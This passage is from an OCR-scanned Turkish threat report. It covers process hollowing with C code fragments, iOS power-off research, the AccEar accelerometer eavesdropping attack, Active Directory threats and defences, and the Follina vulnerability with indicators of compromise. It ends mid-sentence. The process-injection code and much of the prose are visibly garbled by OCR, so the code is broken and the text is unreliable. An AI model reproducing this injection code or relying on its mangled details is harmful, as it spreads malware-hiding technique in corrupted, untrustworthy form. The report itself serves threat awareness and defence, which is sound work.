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SORUMSUZLUK VE FIKRI MULKIYET HAKKI BEYANI

isbu eserde/internet sitesinde yer alan veriler/bilgiler ticari amagh olmayip tamamen kamuyu bilgilendirmek amaciyla yayimlanan iceriklerdir. Bu eser/
internet sitesinde bulunan veriler/bilgiler tavsiye, reklam ya da is gelistirme amacina yonelik degildir. STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.
isbu eserdef/internet sitesinde sunulan verilerin/bilgilerin igerigi, glincelligi ya da dogrulugu konusunda herhangi bir taahhtide girmemekte, kullanici veya
Ucunci kisilerin bu eserde/internet sitesinde yer alan verilere/bilgilere dayanarak gergeklestirecekleri eylemlerden 6tliri sorumluluk kabul etmemektedir.
Bu eserde/internet sitesinde yer alan bilgilerin her tirlii hakki STM Savunma Teknolojileri Mihendislik ve Ticaret A.S.’ye ve/veya eserde atif yapilan kisi
ve kurumlara aittir. Yazili izin olmaksizin eserde/internet sitesinde yer alan bilgi, yazi, ifadenin bir kismi veya tamami, herhangi bir ortamda hicbir sekilde
yayimlanamaz, ¢ogaltilamaz, igslenemez.
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2022 yihnin ikinci geyregindeki raporumuzda her zaman
oldugu gibi bircok giincel ve ilging konuyla karsinizdayiz.

Bunlar arasinda her dénem oldugu gibi teknolojik gelis-
meler, zararl yaziim laboratuvarimiz ZLAB’in inceleme-
leri, siber saldin metotlari, giincel siber guivenlik haber-
leri ve honeypot verileri gibi baslklar bulunuyor. Zararli
yazihm laboratuvarimizin gerceklestirdigi ve Process In-
jection yontemlerinden Process Hollowing’in analiziyle
baslayan bélimu teknolojik gelismeler takip ediyor.

Klasik siber savunma yéntemlerinin etkisinin strekli azal-
digi g6z 6nline alindiginda siber tehdit istihbarati verile-
rinin savunma sistemleri agisindan édnemi daha da arti-
yor. Bu verileri daha iyi dederlendirebilmek igin de gesitli
yazilimlara ihtiya¢ duyuluyor. “Siber Tehdit istihbaratinin
Onemi ve OpenCTI” basligi altinda siber tehdit istihba-
ratinin dnemini acgikliyor ve agik kaynak istihbarat plat-
formlarina 6rnek olarak OpenCTI Urinin{ inceliyoruz.

1. Process Hollowing Yontemi

STM Zararl Yazilm Laboratuvan (ZLAB) tarafindan ya-
pilan inceleme ve aragtirmalar kapsaminda siklikla kulla-
nilan Process Injection yontemlerinden biri olan Process
Hollowing incelenecektir.

printf(*Creating process\rin®};

rtupInfo = 5
oM pProcessInfo

CreateProcessA

ATE_SUSPEMDED,

startupInfo,
pProcessInfo
( !pProcessIinfo->hProcess)
creati

primtf{"Error

return;

'EE pPEBE = ReadrRemotePEB({pProcessInfo->hProcess);
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Raporumuzda, “lIOS cihazlarin kullanicilar tarafindan ka-
patilmasi gercekten tim sistemlerin kapanmasini sag-
lyor mu?”. “Kapal bir 10S cihazi siber saldiriya maruz
kalabilir mi?” gibi sorulari cevapliyoruz.

Ardindan, akill telefonlarda kullanilan ses tabanli uygu-
lamalara (6rn. video konferans, sesli asistanlar) kelime
sinirt olmadan ve ivmedlger ile yapilan akustik dinleme
saldirnisini ele aliyoruz.

Birgok kurum ve firmada kullanici ydnetim altyapisinin te-
melini olusturan Active Directory sistemlerini hedef alan
tehditler ve bu tehditlerden korunma yoéntemlerini agik-
layan aragtirmamizi bu ceyrekte ortaya ¢ikan ve kiresel
Olgekte ses getiren iki zafiyetin degerlendirilmesi izliyor.

Son olarak ise Honeypot sensérlerden topladigimiz veri-
ler 1si§inda saldirilan yerler, denenen portlar veya parola-
lar gibi bilgileri sunuyoruz.

Process Hollowing, bir process’in (islem) varligini gizle-
mek igin kullanilan bir yéntemdir. On yiikleme igin kul-
lanilacak olan uygulama, SUSPENDED (askiya alinmis)
durumda bir process olustururur. On yiikleme icin kul-
lanilan uygulamanin image (géruntl) icerigi bosaltila-
rak, gizlenecek olan slirecin image’l ile degistirilir. Eger
image base (géruntl tabani), yeni image ile eslesmez
ise image base yeniden dizenlenir. Yeni image olustu-
rulduktan sonra SUSPENDED durumda olan process’in
EAX register'ina (kayd), entry point (giris noktasi) ayar-
lanir. Process, yeni image’in entry point’i ile yaratiimeye
devam ettirilir.

1.1. Process Olusturma

CreateProcessA API kullanarak SUSPENDED durumda,
hedef process olusturulur.

1.2. Process Bilgisi

ik olarak, hedef process’in base adresini bulmak igin
NtQueryProcessinformation ile PEB (Process Enviro-
ment Block) adresi bulunur. ReadProcessMemory API
ile PEB adresi okunarak hedef process’in base adresi
bulunur.

¥ED_IMAGE pImage = ReadremoteImage(pProcessInfo-:hProcess, pPEB-»ImageBasefddress);

Sekil 2: PEB igeriginin okunmasi.

4
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printf{"uUnmapping destination sectiom\r\n™};

LE hNTDLL = GetModuleHandleA( "ntdll™);
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FARPROC fpihtUnmapViewofSection = GetProcaddress(hNTDLL, “NtUnmapviewCfSection™);

DWORD dwResult = Ntunmapviewofsection

pProcessInfo-»hProcess,
pPPEB->ImageBaseAddress

Yo
£

if (dwrResult)

1
printf{"Error unmapping sectien\rn");
return;

Sekil 3: NtUnmapViewOfSection bellek eslesmesinin kaldirnimasi.

printf("allocating memory\r\n");
PVOID pRemoteImage = VirtualAllocEx

pProcessInfo->hProcess,

PPEE- >ImageBaseAddress,

psourceHeaders- *0ptionaldeader. SizeOfImage,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE

( | pRemoteImage )

primtf("virtualAllecEx call failedirn®™);
return;

Sekil 4: Yeni bellek blodu tahsis edilmesi.

DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress -
pSourceHeaders-»0OptionalHeader. ImageBase;

printf

i
"Source image base: @x¥p\r\n"
"Destination image base: eéxXp\r\n”,
pSourceHeaders-»OptionalHeader.ImageBase,
pPEB- >ImageBasefAddress

i @xkp\rin’, dwDelta);

1.3. igerigin Bosaltilmasi

Hedef process’in bellek ile eslenmesini kaldirmak icin
NtUnmapViewOfSection API kullanilr.

Kaynak image icin yeni bir bellek blogu tahsis edi-
lir. Bellek blogunun boyutu, SizeOflmage tarafindan
belirlenmektedir.

1.4. Image Kopyalanmasi

Yeni image icin olusturulan bellek alani, process’in belle-
gine kopyalanir. Yapilan iglemlerin calisabilmesi icin kay-
nak image base adresi, hedef image base adresi olarak
ayarlanmalidr.

pSourceHeaders- >0OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;

printf("Writing headers\rin");

if (!WriteProcessMemory

(

pProcessInfo->hProcess,

pPEB- >ImageBaseAddress,

pBuffer,
pSourceHeaders-»0OptionalHeader.SizeOfHeaders,
e

printf({"Error writing process memory\rin”);

return;

Sekil 5: Image kopyalanmasi.
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pSourceImage->NumberOfSections; x++)

ections[x].PointerToRawData)

ination =
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PEB->ImageBaseAddress + pSourceImage->»Sections[x].VirtualAddress);

r\n”, pSourceImage->Sections[x].Name, pSectionDestination);

if (!WriteProcessMemory

(
pProcessInfo->hProce
pSectionDestination,
.PointerToRawData],
1.5izeDfRawData,
8

printf ("

return;

ting pro

Sekil 6: Image kopyalanmasi.

1.5. Image Yapilandiriimasi

Eder dwDelta sifir degilse, kaynak image’in yeniden
yapilandiriimasi gerekir. Bunun igin énylkleme uygula-
masinin “.reloc” boéliminde bulunan relocation table
kullanilir.

Tmage - MumberffSect ions; xi+

Sekil 7: dwDelta sifir degilse.

1.6. Entry Point Ayarlanmasi

Kaynak image, hedef process’e ylklendiginde process
thread lzerinde bazi degisiklikler yapiimasi gerekir. ilk
olarak, thread baglami edinilmelidir. EAX kaydinin gin-
cellenmesi gerektiginden, CONTEXT yapisi ContextFla-
gs Uyesi CONTEXT_INTEGER olarak ayarlanabilir.

geboscAddress + dwlieldAds

uffer += dwllelta;

Writerro

peBaseAddress + dwFieldads

DWORD dwBreakpoint = @xCC;

DWORD dwEntrypoint JpPEE- »ImageBasefddre
pSourcedeaders- »0OptionalHeader. AddressOFEntryPoint;

Sekil 9: Entry Point adresinin alinmasi.
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XT plomtext =

printf

if (lGetT

plontext->Eax = dwEntrypoint;
printf( "5

if (!&etThreadC Fo->hThread, pContext))

printf("F

Sekil 10: EAX register’inin glincellenmesi.

2. 10S Cihazlar Kapatildiginda Neler Olur?

Teknolojinin gelismesinin bireyler ve kurumlar Gzerindeki
etkisi oldukga genistir. Bu genis etki birgok degisime ne-
den olur. internetin diinya ¢apinda giderek yayginlasan
sekilde kullaniimasi glvenlik konusunun énemini daha
da artirmistir. Ozellikle son yillarda bu konuda yasanan
problemleri daha sik duymaktayiz. Bu problemlerin ba-
sinda siber saldirilar gelmektedir. Birgcok siber saldiri ge-
sidi vardir (k6tl amacl yazilimlar, phishing saldirilar vs.).
Son zamanlarda telefonlara yapilan siber saldirilar éne
cilkmaktadir.

Akill telefonlar, e-posta, sosyal medya, banka hesap-
lar ve adres bilgilerimiz gibi birgok kisisel verimizi ba-
rndinr. Saldirganlar, bu kigisel verilerimizi ele gecgirmek
icin bircok farkl ydnteme bagvurur. Telefon Gzerinden
yapilan saldirilarda sosyal medya mesajlarindaki linkler
Uzerinden ele gecirmeye veya e-posta lzerinden gelen
phishing saldirilar tizerinden verilere hizli bir sekilde eri-
silmeye caligilr.

Almanya’da Darmstadt Teknik Universitesindeki aras-
tirmacilar iPhone telefonlar Uzerine galismalar yaparak
uygulamalarin donanimsal etkisini incelediler. Bu calig-
malar sonucunda cihaz kapatildiginda bile 6nemli sis-
temlerin aktif olmaya devam ettigini ortaya cikardilar U,
Bunun nedeni kablosuz yongalarin birgogunun acgik kal-
masidir. Ornegin, kullanici tarafindan baglatilan kapatma
isleminden sonra, “iPhone’umu bul” araciligiyla buluna-
bilir durumda kalir2.

SIBER TEHDIT DURUM RAPORU
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Sekil 12: Iphone Find My Phone uygulama gorintisu.

Telefonlarda konum &zelligi bulunan uygulamalarin aktif
olmasi bazi olumsuz durumlari da beraberinde getirmek-
tedir. Ornegin iOS cihazlar kapaliyken yiritiilen bir Blue-
tooth yongasi kéti amagl yazilim ytklenmesine olanak
saglayabilir.

Arastirmacilar, LPM’nin (Low Power Mode) donanim ve
yazilim olarak telefonun durumunu nasil etkiledigini in-
celediler. Bunun sonucunda LPM 6&zelliginin arka plan
uygulamasi yenilenmesini devre disi biraktigi tespit edil-
di. Pil azaldiginda iOS cihazlarda gii¢ miktarini azaltir ve
LPM aktif olmasi durumunda Iphone cihazlarin pil émrU
uzun slre dayanrr.

9:41

< Settings Battery

Low Power Mode

Sekil 13: LPM ekran gorintisu.
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LPM asagidaki 6zellikleri etkilert®!:

Ekran parlakhgi

Ekran yenileme hizi
Gorsel icerikler
Otomatik indirmeler
Arka plan yenilemeleri

Son dretilen iOS cihazlarda Bluetooth, Yakin Alan ileti-
simi (NFC) ve Ultra Genis Bant (UWB) glc kapatildik-
tan sonra ¢alismaya devam etmektedir. Bu U¢ kablosuz
yonganin da givenli 6geye dogrudan erisimi vardir. Bu
guvenlik igin cok 6énemlidir. Makalede LPM’nin sar pil
simgesiyle gosterilen enerji tasarrufu modundan farkli
oldugu belirtiimektedir. Bu mod, kullanici telefonu kapat-
tiginda veya iOS duslik pil durumunda otomatik olarak
etkinlestirilir 2.,

LPM, iOS cihazlar kapandiginda iglev halindedir. Bir iOS
cihaz kapali olsa bile, kayboldugunda “Find My Phone”
uygulamasi etkin durumda olur. Arastirmacilar “Find My
Phone”’un aktif takip cihazi gibi olmasinin tehlike olug-
turdugunu séyliyorlar.

Arastirmacilar bu sorunlailgili su calismalari yapmaktadir:

iOS 15’te tanitilan yeni LPM 06zelliklerinin givenlik
analizlerinin incelenmesi,

Yeniden baglatildiktan sonra bile toplam reklam sure-
sini 24 saate indirerek Find My Phone uygulamasin-
daki kusurlarin tespit edilmesi,

iOS cihazlarda Bluetooth Urln yaziimiin analiz
edilmesi.

3. AccEar: Kelime Sinirt Olmadan ivmeslicer
Tabanlh Akustik Dinleme Saldirisi

Akilli telefonlarda kullanilan ses tabanl uygulamalar (6rn.
video konferans, sesli asistanlar) gtinlik hayatimizin vaz-
gecilmez bir pargasi haline gelmistir. Bu tir uygulamalar-
dan gelen sesler, kullanici hakkinda 6zel bilgileri agiga
cikarabileceginden mobil isletim sistemleri mikrofon eri-
simini kullanicilarin agik izinlerine baglamistir. Buna kar-
silik hareket sensérleri (6rn. ivmedlcer, jiroskop) yan ka-
nal saldirilarda birer arag olarak kullanilabiliyortl: BLHELILE],
Bu yan kanal saldinlarn hareket sensérlerinin ses dalga-
larinin Urettigi titresimleri algilayabilmesinden yararlanir.
Daha dnce baska calismalarda hareket sensérlerinden
elde edilen verilerle, belli kisitlar altinda kullanicilardan
veya akilli telefonlarin hoparlériinden gelen kelimelerin/
ifadelerin tanimlanabildigi gésterilmisti. Fakat bu saldi-
r yontemleri sadece dnceden egitiimis bir kelime veya
ifade kimesi i¢in ¢alisabiliyor. Bir grup arastirmaci tara-
findan &nerilen AccEar ydntemi ise herhangi bir ses sin-
yalini sinirsiz kelime dagarcidiyla yeniden olusturabilen
ivmeodlcer tabanli yeni bir gizli dinleme saldirnisi tarudur.
Bu yeni saldin yéntemi dnceden egitilmis belirli sézcik
veya deyim grubuyla sinirh olmadigi icin, ¢ok cesitli

8
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senaryolarda bilgi sizintisi riskini buyuk él¢gtide artirmak-
tadir. Bu senaryolardan bazi sunlardir:

Kisi akilli telefonuyla birisiyle konustugunda, video
paylastiginda veya sesli mesajlar génderdiginde, sal-
dirgan AccEar yéntemini kullanarak telefonun diger
ucundaki kisinin sesini yeniden yapilandirarak 6zel
bilgileri calabilir.

Saldirgan, kullanicinin sesli notlarini veya parola,
program, telefon numarasi, sosyal glivenlik numarasi
gibi gizli bilgileri icerebilecek komutlarini dinleyebilir.

Kullanici sesli navigasyonu kullandiginda, saldirgan
AccEar araciigiyla kullanicinin konumunu ve kulla-
nicinin ziyaret etmeyi sevdigi konumlari, restoranlar
veya ilgi ¢ekici yerler gibi diger tercihlerini ¢ikarabilir.
Kullanicinin akilli telefonu belirli bir Griin adini iceren
bir ses caldiginda, saldirgan kullanicinin rln tercih-
leri ve tibbi durumu hakkinda bilgi edinebilir.

Saldirgan, kullanicinin hesabina erisim elde etmek
icin cift faktérli kimlik dogrulamada yaygin ola-
rak kullanilan (ses tabanl) dogrulama kodlarini ele
gegirebilir.

3.1. Tehdit Modeli

Tehdit modelinde, arka planda ivmedlger verilerini top-
layan bir casus yazilimin kurbanin akill telefonuna yik-
lendigi varsayiliyor. Kurbanin telefonunun dahili hopar-
|6riinde sesler oynatildiginda, casus yazilim ivmedlcgerle
verileri arka planda U¢ eksenin tamaminda maksimum
o6rnekleme hizinda kaydeder. Béylece saldirgan ham iv-
medlger verilerini toplamis olur. Onceki calismalarda da
belirtildigi gibi ivmedlcer sensérleri diger sensérlerden
daha hassas veri toplayabildigi icin bu ¢alisma sadece
ivmedlger Uizerinden gergeklestiriimigtir . Yapilan testle-
rin ic ve dis etkenlerden bagimsiz olarak yurittildigund
belirtmekte fayda var. Bu nedenle saldinnin etkinligi akilli
telefonun Ureticisi ve modeli, hoparlérden gelen sesin
¢ikis hacmi, konum (bir masada yatay veya elde dikey
durusu), kullanici hareketleri (hareketsiz veya yirlyor) ve
gercek diinya senaryosu (6rn. sessiz oda, restoran, so-
kak) gibi ¢esitli etkenlere gore farklilik gdsterebilir.

3.2. Ozellik Gikarimi

Ham ivmedlcer 6lgimleri x, y, z eksenleri boyunca fark-
Il temel deg@erlere sahiptir. Ornegin, z eksenin temel
degeri yercekimi ylzinden 9,8 iken diger eksenlerin
yercekiminden kaynakli bir etkisi yoktur. Yercekiminin
z ekseni Uzerindeki bu etkiyi kaldirmak icin ivmedlcer-
den elde edilen verilere sifi-ortalama normalizasyonu
uygulanmigtir.

Gergek dlnyada, insan hareketleri ivmedlcer verilerini
dnemli 8lciide etkileyebilir. insan hareketinin diisik fre-
kansta baskin bir bilesene karsilik geldigi bilindiginden,
mUmkin oldugunca fazla konusma bilgisini koruyacak
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Sekil 14: Farkl ayarlarda sesin yeniden yapilandirma performansi.

sekilde insan hareketinin etkisini ortadan kaldirmak igin
veriler 20 Hz’lik bir esigi olan bir ylksek gegis filtresiyle
aylklanmistir.

Bununla beraber mobil isletim sistemlerinde sabit za-
man araliginda 8lgiim yapilmasi garanti edilemedigi icin
Olcimler sirasinda olusan veri bosluklari dogrusal in-
terpolasyonla doldurulmustur.

3.3. Uygulama ve Deney Kurulumu

Testler Gzerinde Android isletim sistemi bulunan alti farkli
akilli telefon ve iki farkh tabletle gerceklestiriimistir. Bu
cihazlara Google Play Store’da bulunan Accelerometer
Meter2 uygulamasi kurularak ivmeolger verileri toplan-
mistir. YouTube’dan alinma sekiz Cince ve sekiz ingilizce
konusma icerigi bir konferans masasi zerinde bulunan
akilli telefon/tablette sesli olarak oynatilarak saldirinin
kurban tarafi taklit edilmistir.

3.4. Genel Performans Degerlendirmesi

Ses seviyesinin saldirya etkisi: Sekil 14 (a)’da géruldigu
gibi hacim azaldikga MCD’nin (Mel-Cepstral Distortion/
Mel-Cepstral Bozulmasi) arttigini gézlemliyoruz (MCD
azaldikga saldirinin performansi olumlu etkilenmektedir).
Bunun nedeni, ses seviyesi azaldikga hoparlérdeki titre-
simin zayiflamasi, dolayisiyla yakalanan ivmedlger veri-
lerinin azalmasidir.

Telefonun durusunun saldirn yéntemi Uzerindeki etkisini
gbzlemlemek igin testlerde akilli telefonlar mimkin olan
en yaygin U¢ farkll pozisyonda tutulmustur. insan hare-
ketlerinin ivmedlcerde olusturacadi gurdltt kirliligini en
aza indirgemek igin kullanilan yiksek gecis filtresiyle,
Sekil 14 (b)’de goérildigu gibi, her durumda saldin istik-
rarli bir sekilde ¢alismaktadir.

Sekil 14 (c)’de gorildugi gibi, cevredeki seslerin artisiyla
saldinnin basarisi arasinda beklendigi gibi ters oranti g6-
rilmektedir. Akilli telefonlarla alinan 6rnekleme sikliginin
artinimasi ise saldirinin basarisini pozitif etkilemektedir.

SIBER TEHDIT DURUM RAPORU
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3.5. Sonug

Bu calismada ivmedlcger verilerinden, yerlesik hopar-
|6r tarafindan calinan sesi yeniden yapilandiran bir iv-
medlcer gizli dinleme sistemi olan AccEar sunulmustur.
AccEar ile saldirgan ivmedlcger verilerinden yaralanarak
kelimeleri yeniden olusturabilir ve bdylece sesli ve go6-
rintUll aramalarda, sesli navigasyonda, sesli asistanda
ve diger senaryolarda bu ydntemi kullanabilir. Yapilan
testler sonucunda AccEar yénteminin farkli telefonlar ve
kullanicilarda yiksek basarim degerleriyle sonuglandigi
gordlmustar.

4. Active Directory Sistemlerini Hedef Alan
Tehditler ve Korunma Yoéntemleri

4.1. Active Directory Nedir?

Microsoft tarafindan geligtirilen 6zel bir dizin hizmeti
araci olan Active Directory, bilgi teknolojileri yéneticile-
rinin ve guvenlik ekiplerinin is yikinU azaltmak amaciyla
agda yer alan kullanicilarin, bilgisayarlarin ve diger nes-
nelerin ydnetimini merkezilestirir. Bu sayede etki alanina
bagh tim cihazlara, tanimli gruplara, kullanicilara ve ug
noktalara, ag degisiklikleri ve glivenlik politikasi degisik-
likleri hizli ve kolay bir sekilde uygulanir.

Active Directory, etki alaninda yer alan cihaz ve kulla-
nicilarla ilgili bilgi depolar, kimlik bilgilerini dogrular ve
yetkilendirme yapilmasini saglar.

u AD Domain
B_g Controller
Marthanticated!

Authenticate
I B
(_. - (_ = — —

Sekil 15: Active directory ¢alisma ilkesi.
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4.2. Active Directory Etki Alani Hizmetleri

Active Directory, etki alani kapsaminda birtakim servis-
leri barindirir.

Bu servisler asagidaki gibidir;

Etki Alani Servisleri

Hak Yonetimi (Right Management)
Sertifika Hizmetleri

Basit Dizin Hizmetleri

Directory Federation Hizmetleri

4.3. Active Directory Giivenligi Neden Onemlidir?

Active Directory, kullanici, uygulama ve erisim yetkilen-
dirme sireclerinin merkezinde yer aldidi i¢in saldirganin
bakis acisindan bir numarall hedef olarak gériimektedir.

Bir siber saldin Active Directory sistemine erigsimle so-
nuglanirsa, Active Directory blnyesinde yer alan tim
bagl kullanici hesaplarina, veri tabanlarina, uygulamala-
ra ve sonug olarak her tirli veriye ulasabilir.

4.4. Bilinen Active Directory ihlalleri

SamSam

Etki alani ydneticisine ait hesap bilgilerini elde eden
siber saldirganlar, ellerindeki fidye yaziimini agdaki
bitin makinelere dagitarak etki alani denetleyicisinin
(Domain Controller) kontrolini ele gegcirdiler. Saldiri
neticesinde saldirganlar £4,7m elde ettiler.

Birlesmis Milletler

Saldirganlar temel altyapi bilesenlerini ele gecirdiler
ve 42 sunucuya erisim sagladilar. BM insan Haklari
Yiksek Komiserligi Sozciisu, Active Directory danhili
kullanici listesinin saldirganlar tarafindan ele gegiril-
digini dogruladi. Saldirganlar Bir SharePoint sunu-
cusunda bulunan CVE-2019-0603 (uzaktan kod yu-
ritme) givenlik acigini kullanarak yatayda ilerleme
yetenegine sahip olmuslardi.

US Hospitals

Saldirganlar, mevcut bir glvenlik agigindan yararla-
narak elde ettikleri Active Directory kimlik bilgilerini
kullanarak US Hospitals sistemlerine fidye yazilimi
dagitti.

NTT Singapore

Saldirganlar, Japonya’da bulunan bir bulut sunucusu-
na ulasmak icin NTT Singapur’daki bir giris noktasini
kullandi. Bu sayede NTT’nin dabhili iletisim agindaki
bir sunucuyu ele gecirerek Active Directory sunucu-
larina erisim kazandilar.
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4.5. Active Directory Sistemlerine Yénelik Tehditler

Varsayilan Givenlik Ayarlarinin Kullanimi: Active Direc-
tory, dnceden belirlenmis varsayilan givenlik ayarla-
rina sahiptir. Varsayilan guvenlik ayarlar siber saldir-
ganlar tarafindan bilindiginde mevcut bosluklardan ve
guvenlik aciklarindan yararlanmalarinin yolu acabilir.

Ayricalikli Erisim: Etki alanindaki kullanici hesaplari ve
yonetici hesaplarinin ihtiyag olmamasina ragmen tam
yetkiye sahip olmasi tehdit olusturabilir.

Genig Erisime Sahip On Tanimli Roller: On tanimli ve
genis erisime sahip rollerin ydneticilere atanmasi du-
rumunda, yoneticiler intiyac 6tesi uygulama ve verile-
re erisebilir.

Yénetici Hesaplarinin Basit Parolalara Sahip Olmasi:
Basit parolalarin ydnetici hesaplarinda kullaniimasi
saldirganlarin yapacagi “brute force” ataklarinin ba-
sari oranini arttinr.

Yama Sdreci Tamamlanmamis Active Directory Su-
nuculari: Siber saldirganlar, Active Directory sunu-
cularinda eksik yama i¢ceren uygulamalari kullanarak
tehdit olusturabilirler.

Yetkisiz Erisim Girigimlerinin Kontrol Edilmemesi: Sis-
tem yoneticileri, yetkisiz erisim girisimlerini kontrol
etmedikleri takdirde sistemlerinde meydana gelebi-
lecek saldirlari 6n géremez ve énlem alamazlar.

Active Directory sistemlerini hedef alan saldirilardan ba-
zilan asa@ida listelenmistir.

DcShadow

DcSync

Kerberoasting

AS-REP Roasting

NTLM Relay

LLMNR & NBTNS Poisoning

Group Policy Preferences Passwords Exploitation
Unconstrained Delegation Exploitation
Constrained Delegation Exploitation

Resource Based Constrained Delegation Exploitation
PrivExchange

4.6. Active Directory Sistemlerini Korumaya Yonelik
Tedbirler (Best Practices)

Varsayilan Guvenlik Ayarlarini Gézden Gegirmek ve
Degistirmek: Active Directory sistemi yilklendikten
sonra, guvenlik yapilandirmasi gézden gecirilmeli ve
ihtiyaglara gore ilkeler gtincellenmelidir.

Active Directory Gruplari ve Rolleri igin En Az Ayricalik
ve Yetki ilkelerinin Uygulanmasi: En az ayricalik ilkesi
baglaminda kullanicilar, hesaplar ve bilgi islem streg-
leri ihtiyac olan hak ve yetkilerle sinirlandirimaldir.

Active Directory Ydénetim Ayricaliklarinin  Kontrol
Edilmesi ve Etki Alani Kullanici Hesaplarinin Sinir-
landinimasi: Tum personel dikkatlice incelenip yal-
nizca gorevlerini yerine getirebilmeleri igin ihtiyaclan
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duyacaklar ydénetici ayricaliklarn verilmelidir.

Gergek zamanl Windows Auditing ve Uyari Kullanimi:
Organizasyon digi veya ici anormal erisim girisimleri-
nin raporlanmasi énemlidir.

Active Directory Icin Kurtarma ve Yedekleme Politika-
larinin Olusturulmasi: Active Directory yapilandirmasi
duzenli olarak yedeklenmelidir. Active Directory bi-
tinlGgundn tehlikeye dismesi durumunda olagan-
Ustl durum kurtarma iglemleri streci hizli bir sekilde
bagslatiimalidir.

Tam Glvenlik Aciklarinin Ddzenli Olarak Yamalanma-
si: Active Directory icin hizli, verimli ve etkili bir yama
sureci periyodik olarak yurttilmelidir.

Otomatik Yénetilen Merkezi Sistem: TUm incelemele-
rin, kontrollerin ve raporlarin yénetiminin tek bir nok-
tadan yUrataldaga bir is akigi (workflows) saglayan
araclarin kullaniimasi Active Directory sistemlerini
korumada yardimci olacaktir.

5. CVE-2022-30190 MSDT Zafiyeti incelemesi

MSDT (Microsoft Support Diagnostic Tool), Microsoft
Destek Tanilama Aracr’'nin kisaltmasidir. Cesitli teknik
sorunlari ¢ézmek icin destek uzmanlar tarafindan ana-
liz, sorun giderme ve tani verilerini toplama gibi faaliyet-
lerde kullanilan yardimci bir programdir.

& Microsott Support Miagnostic lool

Enter the passkey provided by your support professional.

Support Provider:
Microsoft

Read the Microsoft cupport privacy statement online

Cancel

Sekil 16: MSDT (Microsoft Support Diagnostic Tool).

5.1. Zafiyetin incelenmesi

MSDT’deki zafiyet bagimsiz bir siber glivenlik arastirma
ekibi olan @nao_sec’in, Belarus’tan Virus Total’e yUkle-
nen ve “ms-msdt” MSProtocol URI semasini kullanarak
bir PowerShell payload’ini ¢alistirmak icin uzak sablon-
lardan yararlanan kéti amach bir Microsoft Word belge-
si hakkinda tweet atmasiyla duyulmustur. Ek gelismeler,
sorunu Windows’ta yamalanmamis yeni bir gtivenlik aci-
g1 olarak tanimlanmasini getirdi®.
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Word gibi bir uygulamadan URL protokolU kullanilarak
MSDT cagrildidinda bir uzaktan kod yuritme givenlik
acigi ortaya cikmistir. Bu gilvenlik acigindan basariyla
yararlanan saldirganin, ¢cagiran uygulamanin yetkileriy-
le rasgele kod calistirabildigi gortlmustar. Saldirganin
daha sonra istedigi programlar ytkleyebildigi, verileri
géruntuleyebildigi, degistirebildigi veya silebildigi ya da
kullanici haklarinin izin verdigi baglamda yeni kullanicilar
olusturabildigi géralmustartl,

Bu zafiyete “Follina” adi verilmis ve CVE atamasi CVE-
2022-30190 olarak belirlenmistir. CVE-2022-30190’nin
CVSS skoru 7,8 (Kritik) olarak degerlendirilmigtirtl.

Bir bagka 6rnekte Cin devletiyle baglantil bir hacker gru-
bu olan TA413 APT grubu, uluslararasi Tibet topluluguna
ybnelik saldirilarda bu guvenlik agidini kullandi. Guven-
lik arastirmacilar tarafindan 30 Mayis’'ta gbézlemlendigi
Uzere, tehdit aktorleri artik hedef ZIP arsiv dosyalariyla
gelen Word belgelerini agcarken veya 6nizlemeyle gérin-
tilerken MSDT protokoll araciligiyla kéti amacl kod
ylritmek icin CVE-2022-30190 istismarlarini kullaniyor.
Saldirganlar kampanyalarini, Merkezi Tibet Yonetimi’nin
‘Kadinlari Guglendirme Masasi’nin kimligi blrinerek ve
tibet-gov.webl.]Japp alan adini kullanarak yaritmuslerdi.

Guvenlik arastirmacilarn ayrica, “hxxp://coolrat[.]xyz”
araciligiyla parola ¢alan Truva atlari olarak bilinen kétu
amaglh yazilimlan yiklemek icin kullanilan Gince dosya
adlarina sahip DOCX belgelerini de tespit ettiler.

Microsoft gegici bir ¢6zim olarak MSDT URL proto-
kolinU devre digi birakmayi 6énermis, Haziran ortasin-
da yayinlanan glncellemeyle de zafiyetin kapatildigini
bildirmistirt'.

5.2.10Cs
Dosya Hash Bilgileri:

No Hash
710370f6142d945¢142890eb427a368bfc6c5fe13a963f952fb884c38ef06bfa

—_

2 | fe300467c2714f4962d814a34f8ee631a51e8255b9c07106d44c6alfledarads
3 | 3db60df73a92b8b15d7885bdcc1chcfc740ce29c654375a5¢1ce8c2b31488al
4 4a24048f81afbe9fb62e7a6a49adbd1faf41f266b5f9feecdceb567aec096784

5 | d118f2c99400e773b8cfd3e08a5bcf6ecaabab44cb58ef8fd5b8aabe29af4ct

6 | 764a57c926711e448e68917e7db5cabad88d3cdbc656b00cd3a6e88922c63837
7 | 8e986c906d0c6213f80d0224833913fa14bcac15c047766a626329bfc0639bd
8 | e8f0a2f79a91587f1d961d6668792e74985624d652c7b47cc87367cb1b451adf
Q | 4369f3c729d9bacffabbec9a8f0e582b4e12b32ed020b5fe0f4c8c0c620931dc
10 @ 1f245b9d3247d68693726f7c0ae36d3c853bdad7abd8b95dc0dfd4568ee470b
11 | bf10a54348c2d448afa5d0ba5add70aaccd99506dfcfod6cf185c0b77¢c14aces
12 | cOc5bféfe1d3b23fc89e0f8b352bd687789b5083cabd8eclacce9ade2942belf
13 | 248296cf75065c7db51a793816d388ad589127c40fddef276e622a160727ca29
14 | d61d70a4d4c417560652542e54486beb37edce014e34a94b8fd0020796ff1ef7
15 | 4f11f567634b81171a871c804b35c672646a0839485eca0785db71647a1807df
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URL Bilgileri:

No URLs

sputnikradio[.Jnet
xmlformats[.Jcom
exchangel.Joufcal.Jcom[.]Jau
141[.]98[.]1215[.]99
tibet-govl[.]web[.Japp

g W=

6. Confluence Zero-Day (Sifirinci Giin) Zafiyeti

Confluence, yaklasik 75.000 musteri tarafindan kulla-
nilan bir ekip ¢alisma alani uygulamasidir. Kritik Nesne
Grafigi Gezinme Dili (Object Graph Navigation Lan-
guage) guvenlik acigi (CVE-2022-26134), saldirganin
Confluence Veri Merkezi ve Sunucusunda remote code
execution (uzaktan kod ylritme) uygulamasina imkan
verebilir. Atlassian kullanicilarini, kullandiklar sGrima ti-
pine bagl olarak yeni yayinlanan 7.4.17, 7.13.7, 7.14.3,
7.15.2,7.16.4, 7.17.4 veya 7.18.1 sUrimUni ylkseltme-
ye tavsiye ediyor.

6.1. Remote Code Execution Nedir?

Uzaktan Kod Yuratme (RCE) saldinlar, saldirganin bir
bilgisayarda uzaktan kéti amacl kod ydritmesi seklin-
